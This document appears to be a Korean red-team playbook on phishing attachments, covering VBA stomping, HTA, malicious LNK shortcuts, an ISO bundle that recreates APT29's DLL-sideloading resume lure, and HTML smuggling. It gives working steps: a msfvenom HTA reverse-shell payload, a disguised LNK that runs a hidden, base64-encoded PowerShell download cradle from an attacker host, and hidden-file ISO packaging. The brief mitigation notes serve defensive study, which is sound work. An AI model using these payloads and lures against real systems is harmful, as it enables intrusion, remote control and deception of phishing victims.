olevba 를 통해 분석해보면 다음과 같은 VBA 매크로와 P-code가 나온다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-10b7c1290ea2c5fae4d8ea0f1228465fa4af3131%2Fimage.png?alt=media)

VBA 매크로인 `Macros/VBA/ThisDocument` 과 `Macros/VBA/NewMacros` 에서는 수상한 VBA 매크로가 발견되지 않는다. EvilClippy가 위에서 가짜 VBA 매크로로 VBA Stomping을 진행했기 때문이다.

하지만 P-code 섹션을 보면 원래 있었던 VBA 페이로드가 보인다. 난독화를 진행했기 때문에 `Create, ShowWindow, Xor, Base64 Strings, VBA Stomping` 등의 수상한 키워드들이 보인다.

`ThisDocument` 와 `NewMacros` 의 코드는 다음과 같이 나온다.

```
┌──(root㉿kali)-[~/blog]                                                                              
└─# olevba -a sample-payload_EvilClippy.doc -c                                 
olevba 0.60.1 on Python 3.10.4 - http://decalage.info/python/oletools                                 
===============================================================================
FILE: sample-payload_EvilClippy.doc                                                                   
Type: OLE                                                                                             
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls                                                                            
in file: sample-payload_EvilClippy.doc - OLE stream: 'Macros/VBA/ThisDocument' 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Sub Document_Open()                                                                                   
    Macro1                                                                                            
End Sub                                                                                               
                                                                                                      
Sub AutoOpen()                                                                                                                                                                                               
    Macro1                                                                                            
End Sub                                                                                               
                                                   
Sub Macro1()                                                                                          
'                                                                                                     
' Macro1 Macro                                                                                        
'                                                                                                     
'                                                                                                     
    Range("B1").Select                                                                                
    ActiveCell.FormulaR1C1 = "Hello World"                                                            
    Range("B2").Select                                                                                
End Sub                              
```

그 이후 P-code를 살펴보면 다음과 같은 코드가 나온다. 난독화된 VBA 코드가 또 다시 P-code 형태로 변했기 때문에 읽기 힘들지만, 적어도 악성 행위를 하는 VBA를 살펴볼 수는 있다.

```
VBA MACRO VBA_P-code.txt                                                                                                                                                                                     
in file: VBA P-code - OLE stream: 'VBA P-code'                                                        
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -                         
' Processing file: sample-payload_EvilClippy.doc                                                      
' ===============================================================================                                                                                                                            
' Module streams:
' Macros/VBA/ThisDocument - 922 bytes
' Macros/VBA/NewMacros - 9204 bytes
' Line #0:
'       FuncDefn (Sub Document_Open())
' Line #1:
'       ArgsCall test 0x0000 
' Line #2:
'       EndSub 
' Line #3:
'       FuncDefn (Sub AutoOpen())
' Line #4:
'       ArgsCall test 0x0000 
' Line #5:
'       EndSub 

< ... >
                                                                                                                                                                                            
' Line #142:                                                                                                                                                                                                 
'       Ld EqKwFzDJ                                                                                                                                                                                          
'       Ld EqKwFzDJ 
'       FnLen 
'       Ld Ivtp83Fcz 
'       Sub 
'       ArgsLd Left$ 0x0002 
'       St EqKwFzDJ 
' Line #143:
'       EndIfBlock 
' Line #144:
'       Ld EqKwFzDJ 
'       St O9sTsRbm 
' Line #145:
'       EndFunc 
' Line #146:

```

### 레퍼런스

{% embed url="<https://github.com/bontchev/pcodedmp>" %}

{% embed url="<https://vbastomp.com/>" %}

{% embed url="<https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278>" %}

{% embed url="<https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/>" %}

{% embed url="<https://github.com/sevagas/macro_pack>" %}

{% embed url="<https://github.com/outflanknl/EvilClippy>" %}


# HTA

T1218.005

## HTA란?

HTA (HTML Application)는 마이크로소프트가 개발한 웹 애플리케이션 프로그래밍 기술이다.HTA 확장자 파일은 Mshta.exe 윈도우 바이너리로 실행되며 네트워크 프록시 인식 방식으로 HTML에 포함된 Windows 스크립트 호스트 코드(VBScript 및 JScript)를 실행할 수 있기 때문에 MS로 서명된 유틸리티를 통해 임의 스크립트 코드 실행을 할 수 있어 공격하기 매력적인(?!?) 수단이다.

아래 트윗은 한 레드팀원이 몇일전에 올린 HTA를 관한 초기 침투가 아직도 많이 쓰이고 있다는것을 알수있다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-be33467b578b98fa78151ee95bab1edb6e7fd8fe%2FPasted%20image%2020230501172222.png?alt=media)

### 보안적인 측면

일단 HTA는 Java applet 이나 액티브X 컨트롤과 같은 기존의 웹 애플리케이션 기술에 비해 보안성과 사용자 경험 측면에서 우수한 성능을 제공할 수 있지만 또한 양날의 검으로 기존 웹 앱과는 다르게 로컬 파일 시스템이나 레지스트리 같은 거에 직접 액세스할 수도 있기 때문에더 많은 권한을 가질 수 있기 때문에 악의적인 목적으로도 충분히 쓰일 수 있다.

아래 실습 예제는 굉장히 간단히 예제임으로 "왜 제가 만든 악성 hta 파일이 다운받은 즉시 사라지나요?"와 같은 질문은 하지 말길 바란다. 기본적으로 윈도우 디펜더를 다 끄고 진행하고 있기 때문에 아래 실습은 방어 우회를 거의 일체 생각하지 않았다라는 점을 이해해주길 바란다.

Mitre Attack에서도 Mshta 실행을 하나의 테크닉으로 설명하고 있으며 굉장히 많은 APT그룹도 사용하고 있는 것을 알 수 있다.

{% embed url="<https://attack.mitre.org/techniques/T1218/005/>" %}

일단 시작하기 앞서, 아래와 같이 mshta -> VBScript-> powershell.exe를 통해, "Hello GROOT!" 아웃풋되는지 확인해보자.

```powershell
mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20Hello,%20GROOT!;Start-Sleep%20-Seconds%205"""))</script>'"
```

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-fa55201b8e82bce0b133ddb90547f40e03df09d4%2FPasted%20image%2020230501210226.png?alt=media)

### 실습

기본적으로 HTA를 사용한 악성 코드 실행 시나리오는 여러가지가 있을 수 있다. 수 많은 조합들이 있지만, 자주 사용 되는 조합은 다음과 같다:

* LNK -> CMD -> Powershell -> RAT
* ZIP -> Password protected PDF + "password.lnk" -> RAT
* DOCx -> LNK -> remote HTA -> Powershell -> RAT
* 피싱 이메일 -> LOTS를 통한 mediafire/dropbx/github 다운 -> ZIP 파일 -> HTA -> RAT

### 기본 HTA 스크립트 예제

아래 HTA 스크립트는 Windows에서 calc.exe를 실행한다.

**grootcalc.hta**

```
<html>
<body>
<script>
        var c= 'calc.exe'
        new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
```

HTML Application을 통해 계산기가 실행되는 것을 알 수 있다.&#x20;

### Metasploit 예제

가장 간단하게 msfvenom을 통해 HTA Payload를 만들어 보자. shell\_reverse\_tcp HTA 페이로드를 만들어 준다.

* LHOST: 칼리 로컬 호스트 로컬 IP
* LPORT: Listener 포트

```
┌──(kali㉿kali)-[~/redteam/HTA/unicorn]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.137.131 LPORT=443 -f hta-psh -o groot.hta
```

공격자는 타겟이 악성 HTA를 다운받을 수 있게 Python HTTP Server를 포트 8080에 만들어 준다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-0d58a05764a0b4ad37ed36436666b9374bbb6920%2FPasted%20image%2020230501175738.png?alt=media" alt=""><figcaption></figcaption></figure>

브라우저에서 <http://192.168.137\\[.]131:8080/groot.hta> 를 방문하여 파일을 다운받고 실행하면 타겟박스 (윈도우) 쉘을 얻을 수 있다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-3b95045301f54ccfe9f2681a216b0aee07bb07d9%2FPasted%20image%2020230501175551.png?alt=media)

### 대응 방안

* CMD에서 실행되는 난독화된 스크립트를 실행하는 mshta.exe는 이미 수상하기 때문에 아마 EDR 차원에서 이미 감지를 할수 있다. 또한 mshta.exe 실행 전후 실행도는 Process들을 살펴봐 .hta 파일의 출처와 목적을 확인하는 것이 중요하다.

### 레퍼런스

{% embed url="<https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/initial-access/t1566-phishing/phishing-spearphishing-link/links-hta-files>" %}

{% embed url="<https://hatching.io/blog/lnk-hta-polyglot/>" %}


# LNK

윈도우의 바로가기 파일은 `.LNK` 확장자를 갖고 있으며, 최대 255자의 `targetpath` 파라미터와 4096자의 `argument` 를 실행할 수 있다. 초기 침투 시 단일 파일로 사용될 수도 있지만, 짧은 커맨드 길이 때문에 다른 페이로드들을 실행시키는데 더 자주 사용된다.

수 많은 조합들이 있지만, 자주 사용 되는 조합은 다음과 같다.

* lnk -> Powershell -> 인 메모리 실행
* lnk -> .dll download -> DLL side loading / DLL hijacking / LOLBAS with regsvr32.dll
* lnk -> Powershell -> HTA
* lnk -> .exe + DLL sideloading

DLL 사이드로딩과 관련된 APT 29의 LNK + DLL Sideloading 기법은 다음 페이지에서 볼 수 있다 (TODO)

### 실습

다음은 `cmd.exe` 바이너리를 실행하는 간단한 LNK 파일을 만드는 파워쉘 명령어다.

```
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\opt\lnk\Choi_Resume_CV_Dialog.lnk")
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.exe"
$link.arguments = "/c start cmd.exe"
$link.save()
```

마이크로소프트 워드의 아이콘을 갖은 LNK 파일을 생성해낸다. 오른쪽 클릭해서 shortcut을 확인해보면 `Target` 에 위에서 만든 페이로드인 `%windir%/system32/cmd.exe` 를 실행한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-d6c0e5d20f80833c4b7411e24aa1dbf43cabca66%2Fimage.png?alt=media)

### 실습 - 2

다음은 파워쉘 페이로드를 가져와 메모리상에서 실행하는 방법이다. 악용을 막기 위해 AMSI bypass 등은 실행하지 않는다. 먼저 개념 증명용 페이로드를 위해 메타스플로잇을 사용한다.

```
msfconsole 
use exploit/multi/script/web_delivery
set pyaload windows/x64/meterpreter/reverse_https 
set lhost <ip> 
set lport <port> 
exploit 

[*] Exploit running as background job 5.
[*] Exploit completed, but no session was created.

[*] Started HTTPS reverse handler on https://192.168.40.182:443
[*] Using URL: http://192.168.40.182:8080/3XQSv3
[*] Server started.
[*] Run the following command on the target machine:
msf6 exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -e <....>
```

웹 딜리버리를 실행시키면 스테이저 파일이 호스팅된 URL이 나온다. 위 예시의 경우 `http://192.168.40.182:8080/3XQSv3` 여기에 스테이저가 호스팅 되어 있다. 따라서 해당 파일을 메모리상에서 실행하는 LNK 파일을 만들어준다.

```
$command = 'iex(new-object net.webclient).downloadstring("http://192.168.40.182:8080/3XQSv3")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("C:\testdefender\Choi_Resume.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.exe"
$link.arguments = "-Nop -w hidden -enc $($encodedCommand)"
$link.save()
```

작전 보안과 방어 우회를 위해서는 호스팅 되어있는 스테이저 파일에 AMSI 우회 코드를 넣어주면 된다. 이 실습은 개념 증명용이니 넘어간다. 해당 LNK 파일을 만들고 실행하면 리버스 쉘을 받을 수 있다.

### 대응 방안

LNK 파일은 윈도우의 기본적인 바로가기 파일이기 때문에 기술적으로 비활성화 시킬수는 없다. 단, LNK 파일의 `targetPath` 과 `arugments` 에 들어가는 페이로드는 엔드포인트의 디스크위에 쓰일 수 밖에 없다. 따라서 AV/EDR 등의 엔드포인트 방어 솔루션들이 LNK 파일을 잘 분석한다면 충분히 막을 수 있을 것이다. 실제로 간단한 파워쉘 페이로드를 실행시키려고 하면 왠만한 페이로드들은 모두 막힌다.

엔드 유저의 입장에서는 LNK 파일에 주의한다. LNK 파일은 기본적으로 확장자가 보이지 않기 때문에 파일 익스플로러에서 `Shortcut` 혹은 `바로가기` 가 있다면 오른쪽 클릭을 해서 `TargetPath` 를 한 번 살펴보는 습관을 들인다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-daedf7ab3f063ecc574b23fbd7896dd146710bce%2Fimage.png?alt=media)

### 레퍼런스

{% embed url="<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/>" %}

{% embed url="<https://docs.google.com/viewerng/viewer?url=https://adsecurity.org/wp-content/uploads/2016/09/DerbyCon6-2016-AttackingEvilCorp-Anatomy-of-a-Corporate-Hack-Presented.pdf>" %}


# ISO

T1553.005

악성 오피스 문서의 시대가 저물며 공격자들은 피싱에 사용될 수 있는 첨부 파일 종류들을 찾기 시작했다. ISO 파일 포멧은 2022년도 기준으로 실제 공격자들이 공격에 자주 쓰는 파일 종류다. ISO (Optical Disk Image) 파일 포멧은 이미지 파일로도 불리며, CD/DVD/블루레이 등의 옵티컬 디스크의 특징을 갖고 있는 파일 포멧 중 하나다.

공격자들이 ISO를 피싱 공격을 할 때 첨부 파일로 자주 사용하는 이유는 다음과 같다:

#### 1. Mark of the Web (MOTW) 가 없다

인터넷에서 다운 받은 `.exe` `.dll` 등의 파일들은 윈도우의 NTFS 파일 시스템의 특징 중 하나인 Alternate Data Stream (ADS) 에 "인터넷에서 다운 받은 파일" 이라는 낙인(?)이 찍힌다. 이것을 Mark of the Web 이라고 부른다. MotW 이 찍힌 파일을 실행하려고 하면 윈도우는 유저에게 경고창을 띄운다. 이는 인터넷에서 다운 받은 위험한 파일을 유저가 실행하지 않도록 하는데 큰 도움을 준다.

![이런 경고창 한 번 쯤은 본 기억이 있지 않은가](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-4a80af964fa5e90d5d5f9f4efa102bc933a4adc9%2Fimage.png?alt=media)

하지만 이런 MotW 낙인이 붙지 않는 파일 확장자들도 있다. 7Z, ZIP, ISO, IMG, CAB 등의 파일 확장자들이 대표적이다.

#### 2. ISO는 압축 파일 형태다

ISO 파일들은 컴팩트 디스크 이미지 파일이고, ISO 파일 포멧안에는 여러개의 파일을 포함시킬 수 있다. 사실상 공격자의 입장에서는 `.zip` 혹은 `.7z` 와 같은 압축 파일을 보내는 것과 비슷하다. 공격자들은 피싱 공격을 할 때 ISO 파일 안에 다른 페이로드들을 같이 숨겨 놓은 형태로 파일을 전송한다. 이때 숨김 파일 (TODO: 페이지 생성 + 링크) 기법을 이용해 ISO 안에 다른 파일들이 보이지 않도록 하는 방법도 쓴다.

#### 3. 실행이 간편하다

피해자 유저가 ISO 파일을 더블클릭 하면 파일은 자동으로 파일 시스템에 마운트가 되며, 그 안의 파일들은 모두 압축이 풀린 형태로 마운트 된 드라이브에 쓰여진다.

### 실습

실습에서는 APT29 그룹이 2022년 7월 [실제 공격](https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/)에 사용했던 페이로드를 똑같이 재현해본다. APT29는 러시아의 해외정보국 (SVR) 이라고 추측되는 그룹이다.

7월달 공격에서 APT29는 ISO 파일 안에 마이크로소프트사의 바이너리인 `OneDriveStandAloneUpdater.exe` 를 넣은 뒤, `version.dll` DLL 파일을 사이드로딩 했다. 사이드로딩을 실행하는 데에는 자기소개서/레지메처럼 생긴 LNK 파일을 사용했다. ISO파일 안의 페이로드들은 다음과 같다:

1. OneDriveStandAloneUpdater.exe - 마이크로소프트사의 공식 바이너리
2. version.dll - 공격자의 프록시 DLL
3. vresion.dll - 진짜 version.dll 파일. APT29 그룹은 `vresion` 으로 이름을 바꿨다.
4. OneDrive.Update - 공격자의 쉘코드. 프록시 DLL 안에 넣어도 되는데 APT29는 굳이 파일 시스템에 저장했다.
5. `Roshan-Bandara_CV_Dialog.lnk` - OneDriveStandAloneUpdater.exe 파일을 실행시킬 LNK 파일. LNK 파일이 악성코드에 사용되 방법은 [LNK 첨부파일 페이지](/initial-access/phish-attachments/lnk)를 참고한다.

페이로드들은 다음과 같이 생성한다.

1. 쉘코드를 생성한다.

```
msfvenom -p windows/x64/messagebox text="Stage0 shellcode" title="choi redteam playbook" -f raw -o OneDrive.Update
```

2\. SharpDLLProxy 를 통해 dllsideloading 을 할 프록시 DLL을 만든다. SharpDllProxy 를 실행 한 뒤 `version.dll` 은 `vresion.dll` 로 이름을 바꾼 뒤, DLL 사이드로딩을 할 디렉토리로 옮긴다.

```
# <SharpDLLProxy directory...> 
cp c:\windows\system32\version.dll . 
./SharpDllProxy.exe --dll version.dll --payload OneDrive.Update

cp ./version.dll c:\opt\dllsideloading\vresion.dll 
```

3\. SharpDLLProxy 가 만든 `.c` 파일을 수정한 뒤, 컴파일 한다. 맨 위의 `pragma comment` 에서 DLL 이름을 `tmpXXXX` 에서 `vresion` 으로 수정해주면 끝이다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-f4a80178e06ba93717dc471ccf10b33d10fb8986%2Fimage.png?alt=media)

4\. version.dll 로 컴파일 한다.

5\. LNK 페이로드를 만든다.

```
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("C:\opt\dllsideloading\Roshan-Bandara_CV_Dialog.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\cmd.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
# If you have office16, use the icon below 
#$link.iconlocation = "C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.exe"
$link.arguments = "/c start OneDriveStandaloneUpdater.exe"
$link.save()
```

6\. 이후 `OneDriveStandaloneUpdater.exe`, `version.dll`, `vresion.dll`, `OneDrive.Update` , `Roshan-Bandara_CV_Dialog.lnk` 를 모두 ISO를 만들 디렉토리로 옮긴다.

7\. `attrib.exe +h` 를 이용해 lnk 파일을 제외한 모든 파일들은 숨김 처리를 해준다.

```
attrib.exe +h .\OneDrive.Update
attrib.exe +h .\OneDriveStandaloneUpdater.exe
attrib.exe +h .\version.dll
attrib.exe +h .\vresion.dll
```

8\. 마지막으로 다음의 파워쉘 스크립트를 이용해 ISO를 만든다.

<details>

<summary>New-ISOFile.ps1</summary>

```
# https://github.com/SQLDBAWithABeard/Functions/blob/master/New-IsoFile.ps1
function New-IsoFile 
{  
  <# .Synopsis Creates a new .iso file .Description The New-IsoFile cmdlet creates a new .iso file containing content from chosen folders .Example New-IsoFile "c:\tools","c:Downloads\utils" This command creates a .iso file in $env:temp folder (default location) that contains c:\tools and c:\downloads\utils folders. The folders themselves are included at the root of the .iso image. .Example New-IsoFile -FromClipboard -Verbose Before running this command, select and copy (Ctrl-C) files/folders in Explorer first. .Example dir c:\WinPE | New-IsoFile -Path c:\temp\WinPE.iso -BootFile "${env:ProgramFiles(x86)}\Windows Kits\10\Assessment and Deployment Kit\Deployment Tools\amd64\Oscdimg\efisys.bin" -Media DVDPLUSR -Title "WinPE" This command creates a bootable .iso file containing the content from c:\WinPE folder, but the folder itself isn't included. Boot file etfsboot.com can be found in Windows ADK. Refer to IMAPI_MEDIA_PHYSICAL_TYPE enumeration for possible media types: http://msdn.microsoft.com/en-us/library/windows/desktop/aa366217(v=vs.85).aspx .Notes NAME: New-IsoFile AUTHOR: Chris Wu LASTEDIT: 03/23/2016 14:46:50 #> 
   
  [CmdletBinding(DefaultParameterSetName='Source')]Param( 
    [parameter(Position=1,Mandatory=$true,ValueFromPipeline=$true, ParameterSetName='Source')]$Source,  
    [parameter(Position=2)][string]$Path = "$env:temp\$((Get-Date).ToString('yyyyMMdd-HHmmss.ffff')).iso",  
    [ValidateScript({Test-Path -LiteralPath $_ -PathType Leaf})][string]$BootFile = $null, 
    [ValidateSet('CDR','CDRW','DVDRAM','DVDPLUSR','DVDPLUSRW','DVDPLUSR_DUALLAYER','DVDDASHR','DVDDASHRW','DVDDASHR_DUALLAYER','DISK','DVDPLUSRW_DUALLAYER','BDR','BDRE')][string] $Media = 'DVDPLUSRW_DUALLAYER', 
    [string]$Title = (Get-Date).ToString("yyyyMMdd-HHmmss.ffff"),  
    [switch]$Force, 
    [parameter(ParameterSetName='Clipboard')][switch]$FromClipboard 
  ) 
  
  Begin {  
    ($cp = new-object System.CodeDom.Compiler.CompilerParameters).CompilerOptions = '/unsafe' 
    if (!('ISOFile' -as [type])) {  
      Add-Type -CompilerParameters $cp -TypeDefinition @'
public class ISOFile  
{ 
  public unsafe static void Create(string Path, object Stream, int BlockSize, int TotalBlocks)  
  {  
    int bytes = 0;  
    byte[] buf = new byte[BlockSize];  
    var ptr = (System.IntPtr)(&bytes);  
    var o = System.IO.File.OpenWrite(Path);  
    var i = Stream as System.Runtime.InteropServices.ComTypes.IStream;  
   
    if (o != null) { 
      while (TotalBlocks-- > 0) {  
        i.Read(buf, BlockSize, ptr); o.Write(buf, 0, bytes);  
      }  
      o.Flush(); o.Close();  
    } 
  } 
}  
'@  
    } 
   
    if ($BootFile) { 
      if('BDR','BDRE' -contains $Media) { Write-Warning "Bootable image doesn't seem to work with media type $Media" } 
      ($Stream = New-Object -ComObject ADODB.Stream -Property @{Type=1}).Open()  # adFileTypeBinary 
      $Stream.LoadFromFile((Get-Item -LiteralPath $BootFile).Fullname) 
      ($Boot = New-Object -ComObject IMAPI2FS.BootOptions).AssignBootImage($Stream) 
    } 
  
    $MediaType = @('UNKNOWN','CDROM','CDR','CDRW','DVDROM','DVDRAM','DVDPLUSR','DVDPLUSRW','DVDPLUSR_DUALLAYER','DVDDASHR','DVDDASHRW','DVDDASHR_DUALLAYER','DISK','DVDPLUSRW_DUALLAYER','HDDVDROM','HDDVDR','HDDVDRAM','BDROM','BDR','BDRE') 
  
    Write-Verbose -Message "Selected media type is $Media with value $($MediaType.IndexOf($Media))"
    ($Image = New-Object -com IMAPI2FS.MsftFileSystemImage -Property @{VolumeName=$Title}).ChooseImageDefaultsForMediaType($MediaType.IndexOf($Media)) 
   
    if (!($Target = New-Item -Path $Path -ItemType File -Force:$Force -ErrorAction SilentlyContinue)) { Write-Error -Message "Cannot create file $Path. Use -Force parameter to overwrite if the target file already exists."; break } 
  }  
  
  Process { 
    if($FromClipboard) { 
      if($PSVersionTable.PSVersion.Major -lt 5) { Write-Error -Message 'The -FromClipboard parameter is only supported on PowerShell v5 or higher'; break } 
      $Source = Get-Clipboard -Format FileDropList 
    } 
  
    foreach($item in $Source) { 
      if($item -isnot [System.IO.FileInfo] -and $item -isnot [System.IO.DirectoryInfo]) { 
        $item = Get-Item -LiteralPath $item
      } 
  
      if($item) { 
        Write-Verbose -Message "Adding item to the target image: $($item.FullName)"
        try { $Image.Root.AddTree($item.FullName, $true) } catch { Write-Error -Message ($_.Exception.Message.Trim() + ' Try a different media type.') } 
      } 
    } 
  } 
  
  End {  
    if ($Boot) { $Image.BootImageOptions=$Boot }  
    $Result = $Image.CreateResultImage()  
    [ISOFile]::Create($Target.FullName,$Result.ImageStream,$Result.BlockSize,$Result.TotalBlocks) 
    Write-Verbose -Message "Target image ($($Target.FullName)) has been created"
    $Target
  } 
} 
```

</details>

```
# Move to the payload directory and create the ISO file 
. ./New-ISOFile.ps1 
cd c:\opt\dllsideloading 
get-childitem . -Force | New-IsoFile -Path C:\opt\Roshan_CV.iso
```

완성된 페이로드는 다음과 같다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-6d93dc32fd45527f5bcd611e25486e1483b132f4%2Fapt29-iso.gif?alt=media)

ISO를 더블클릭하면 드라이브에 마운트가 된다. 안에는 LNK 파일 밖에 보이지 않지만, 실제로는 숨겨진 파일들이 존재하고, 이 파일들이 DLL 사이드로딩을 일으켜 페이로드가 실행되게 된다.

### 대응 방안

ISO 파일은 수상하다. 왠만한 웹앱 기반의 이메일이나 이메일 솔루션들은 파일을 다운 받기 전 파일의 확장자를 보여준다. 분명 본인이 디스크 파일을 다운 받는 것이 아닌데 다른 사람이 뜬금없이 ISO 파일을 보내왔다면, 더 주의를 기울이도록 하자.

예를 들어 APT29 같은 경우 외국의 자기소개서/레지메(Resume) 같은 CV 파일을 ISO 파일에 담아서 보냈다. 회사 지원시 레쥬메를 낼 때 PDF 말고 다른 확장자를 썼던 기억이 있던가? 이처럼 ISO 확장자가 굳이 필요한 상황이 아닌데 상대방이 ISO 파일을 보내왔다면 조심해야 한.

그외에는 윈도우 익스플로러의 View -> Options -> View 에서 다음과 같은 옵션들을 활성화시킨다.

* Show hidden files, folders, and drives (숨겨진 파일, 폴더, 드라이브 보이기) **활성화**
* Hide extensions from known file types (잘 알려진 파일 확장자 숨기기) **비활성화**

### 레퍼런스

{% embed url="<https://github.com/mgeeky/PackMyPayload>" %}

{% embed url="<https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/>" %}

{% embed url="<https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/>" %}


# VBA Purging - TODO

이전 페이지의 VBA Stomping은 2016년도에 공개되어 2018년도에 월마트 레드팀에 의해서 유명세를 얻었지만, 몇개월 뒤 AV/EDR 솔루션들이 이를 탐지하기 시작하면서 2022년도 기준으로는 사실상 사장된 TTP가 되었다. 실제로 바이러스토탈에 VBA Stomping을 한 페이로드를 올려봐도 꽤나 많은 숫자의 솔루션들이 정적분석만을 통해 VBA Stomping 적용 여부를 알아낸다.

VBA Purging은 VBA Stomping 과 개념적으로는 비슷한 TTP이나, 한 단계 더 나아간 기법이라고 보면 된다.

TBU


# DotNetToJS - TODO


# Follina - TODO

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-4b6f857b632d687a79115474ee53c6a29d093dbd%2Fimage.png?alt=media)

### 레퍼런스

{% embed url="<https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e>" %}

{% embed url="<https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug>" %}


# HTML 스머글링 (Smuggling)

출처와 중요 레퍼런스 - <https://outflank.nl/blog/2018/08/14/html-smuggling-explained/>

HTML 스머글링 (HTML Smuggling)은 자바스크립트와 HTML5의 download, anchor, click 등의 특성을 이용해 유저가 특정 HTML 페이지를 방문시 자동으로 파일을 다운 받도록 하는 기법이다.

1. HTML5 anchor 태그에는 download 라는 특성이 있다. 이 특성은 anchor 태그에 URL 형식으로 링크된 파일을 클라이언트가 다운로드 받도록 한다.
2. 자바스크립트의 Javascript Blob은 raw 데이터를 octet/stream 형태로 저장할 수 있게 해준다. 그 뒤 이 데이터는 createObjectURL을 통해 URL 형식으로 anchor 태그에 링크 될 수 있다.
3. 자바스크립트의 HTMLElement.click 함수는 anchor 태그에 링크된 파일을 자동으로 클릭해 다운로드 받게 한다.

위 3가지를 모두 합치면 HTML 페이지를 방문만 해도 페이로드가 다운로드 되도록 할 수 있다. HTML 스머글링은 다른 초기 침투 페이로드와 같이 사용되어 클라이언트의 디스크에 maldoc, XLL, DLL, HTA, JScript, ISO, ZIP 등의 파일들이 다운로드 되도록 한다.

고급화된 피싱 공격에서는 다음과 같이 HTML 스머글링을 이용하기도 한다.

* "<회사> 징계위원회입니다. 귀하와 관련된 익명의 신고가 접수되었으니 안전한 문서 접근을 위해 Safe URL 으로 가서 passcode: 1234를 입력한 뒤, 징계 문서를 확인주세요 -> \<HTML Smuggling 페이지 링크>"
* 피해자가 링크 클릭 -> HTML Smuggling 으로 문서 다운로드
* 문서를 여는 순간 페이로드 실행

### 장점

HTML 스머글링의 장점은 바로 호스트와 방어 기술들의 입장에서는 의심될만한 것이 많이 없다는 것이다. 아래는 Outflank 사의 블로그 포스트에서 가져온 이미지다:

![https://outflank.nl/blog/2018/08/14/html-smuggling-explained/](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-8cc6b2cd8640259e137348fbdfe3860dfc2bef90%2Fimage.png?alt=media)

타겟의 프록시/방화벽의 입장에서는 피해자 호스트가 단순한 HTML 페이지를 방문하는 것처럼 보인다. MIME Type도 text/html밖에 없고, 로드되는 코드들도 클라이언트-사이드의 자바스크립트 밖에 없다. 요새 자바스크립트 없는 웹 페이지가 없다보니 이상한 점은 없어보인다.

브라우저의 입장에서도 단순한 HTML과 자바스크립트가 로드되다보니 이상한 점은 없다. 브라우저는 HTML5와 자바스크립트의 기본적인 함수들을 이용해 하라는대로, 파일을 다운로드 한다.

### 코드

기본적인 코드는 base64 스트링을 디코딩해 Javascript blob로 만들고, 이를 anchor 태그에 URL 형식으로 걸어놓은 뒤 HTMLElement.click() 함수를 이용해 이를 다운 받는 코드다.

<details>

<summary>Outflank blog source code</summary>

```
function base64ToArrayBuffer(base64) {
  var binary_string = window.atob(base64);
  var len = binary_string.length;
  var bytes = new Uint8Array( len );
